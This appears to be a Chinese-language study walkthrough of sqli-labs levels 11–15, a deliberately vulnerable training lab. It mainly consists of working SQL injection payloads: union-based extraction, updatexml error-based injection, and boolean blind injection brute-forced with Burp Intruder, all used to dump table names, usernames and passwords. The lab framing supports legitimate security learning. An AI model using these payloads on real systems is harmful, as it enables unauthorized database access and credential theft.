1、Less-11 基于单引号闭合的sql注入
1、概述:传参方式和以往是不同的,这次变成了post传参,但他们的注入方式是差不多的
1、判断是否存在注入 输入' 页面报错
2、判断注入闭合方式 输入 '\ 得到为单引号闭合
- 尝试 'or 1=1 --+ 页面报错 尝试其他注释符 、
- 尝试'or 1=1 #
- 此时数据库执行语句:SELECT username, password FROM users WHERE username='1' or 1=1 #' and password=" limit 0,1
- #注释掉后面语句 真正执行语句为:SELECT username, password FROM users WHERE username='' or 1=1
- 因为1=1为永真式,与前面的or结合,where后语句直接为真。变为:SELECT username, password FROM users
3、爆破数据
- 判断字段数:
- 'or 1 =1 order by 2 # 页面正常
- 'or 1 =1 order by 3 # 页面错误 得到字段数为2
- 判断显错位:'union select 1,2 #
- 判断库名:'union select 1,database() #
- 判断表名:' union select 1,group_concat(table_name) from
information_schema.tables where table_schema='security' # - 判断列名:' union select 1,group_concat(column_name) from information_schema.columns where
table_schema='security' and table_name='users' - 判断数据:' union select group_concat(password),group_concat(username) from users #
2、Less-12 基于双引号+括号闭合的sql注入
1、判断是否存在注入
- 输入 ' 页面无报错信息
- 输入 " 页面报错信息回显
2、判断注入点闭合方式
- 输入 " 根据报错信息判断 此时闭合方式为双引号 "
- 注释符测试
- ")or 1=1 --+ 未生效
- ")or 1=1 # 生效 证明#注释符生效
3、爆破数据
- 判断列数
- ") or 1=1 order by 3 #
- ") or 1=1 order by 2 # 得到列数为2
- 判断显示位
- ") union select 1,2#
- 获取数据库名、数据库版本
- ") union select version(),database()#
- 获取表名
- ") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
- 获取列名
- ") union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' and table_schema='security'#
- 获取数据
- ") union select group_concat(password),group_concat(username) from users#
/
3、Less-13 基于单引号闭合的报错注入
- 判断是否存在注入
- 输入 ' 页面报错 代表存在注入点
- 判断闭合方式
- 根据页面报错信息得出 闭合方式为 ')
- 判断列名
- ') or 1=1 order by 2# TIP:此时可以看出 页面只显示正确的错误提示 并没有回显信息 那么我们可以利用报错注入来得到想要的数据
- 获取数据库版本
- ') and (updatexml(1,concat(0x7e,(select version()),0x7e),1))#
- 获取数据库名
- ') and (updatexml(1,concat(0x7e,(select database()),0x7e),1))#
- 获取表名
- ') and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1))# 获取第一个数据表名
- ') and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e),1))# 获取第二个数据表名
- ') and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x7e),1))# 获取第三个数据库名
- ') and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1))# 获取第四个数据库名
- ') and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 4,1),0x7e),1))# 获取第五个数据库名 页面报错 则代表只有四个数据库
- 获取users表的列名
- ') and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1))# 得到第一个列名为
- 依次爆破 获得其他两个列名为 username password
- 获取数据
- ') and (updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1))# 按照此语句 依次爆破数据即可
4、Less-14 基于双引号闭合的报错注入
- 判断是否存在注入 根据报错信息 得到闭合方式为 "
- 输入 " 页面报错
- 判断列数
- " or 1=1 order by 2 # 页面正常
- " or 1=1 order by 3 # 页面错误’ 说明列名为2
- 爆出当前数据库名
- " and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
- 爆破表名
- " and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
- 爆破列名
- " and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
- 爆破数据
- " and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)#
5、Less-15 基于单引号闭合的盲注(布尔)
布尔盲注:相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,我们就可以规定为布尔盲注。
时间盲注:它比布尔盲注更加神秘,不管你输入什么,页面都还是那个页面,不会因为你的某些条件而发生变化,但这里,如果结合巧妙的语句,让其某些条件的达成,页面会晚一点回复数据,这样就是基于时间的盲注。(这里可能说的不好,等下结合靶场看)
原文链接:https://blog.csdn.net/weixin_45488495/article/details/115558422
- 判断是否存在注入
- 输入' 页面变化 证明存在注入
- 判断注入类型
- 使用万能语句 1 or 1=1# 和 1 or 1=2 #发现页面均failed 说明注入不是数字型
- 输入1' or 1=1# 页面successfully
- 1' or 1=2# 页面failed 则说明是单引号闭合。
- 利用bp爆破猜测数据库长度
- ' or length(database())=1# 得到长度为8
- 截取数据包后 将数据包发送至Intruder 设置攻击类型为单个 在1处添加payload
- 设置payload类型为数值 范围1-20
- 开始攻击 根据返回长度判断正确的payload
- 利用bp猜测数据库名字(与猜测长度同理) 此时有两个payload 1 和a 设置攻击类型为交叉攻击
- ' or substr(database(),1,1)='a'# 得到名字为security
- 利用bp猜测表数量
- ' or (select count(table_name) from information_schema.tables where table_schema=database())=1# 页面正常 得到表数量为4
- 爆破第一个表名字
- ' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'# 得到第一个表为emails 依次修改limit 1,1 2,1 3,1 将所有表爆破
- 爆破users表的列名
- ' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'# 得到第一个列名为id 依次修改limit 1,1 2,1 3,1 得到username password
- 爆破数据
- 爆破数据条数
- ' or (select count(*) from users limit 0,1)=1# 利用爆破 得到条数为13
- 爆破数据
- 爆破username数据:' or substr((select username from users limit 0,1),1,1)='a'#
- 爆破password数据:' or substr((select password from users limit 0,1),1,1)='a'#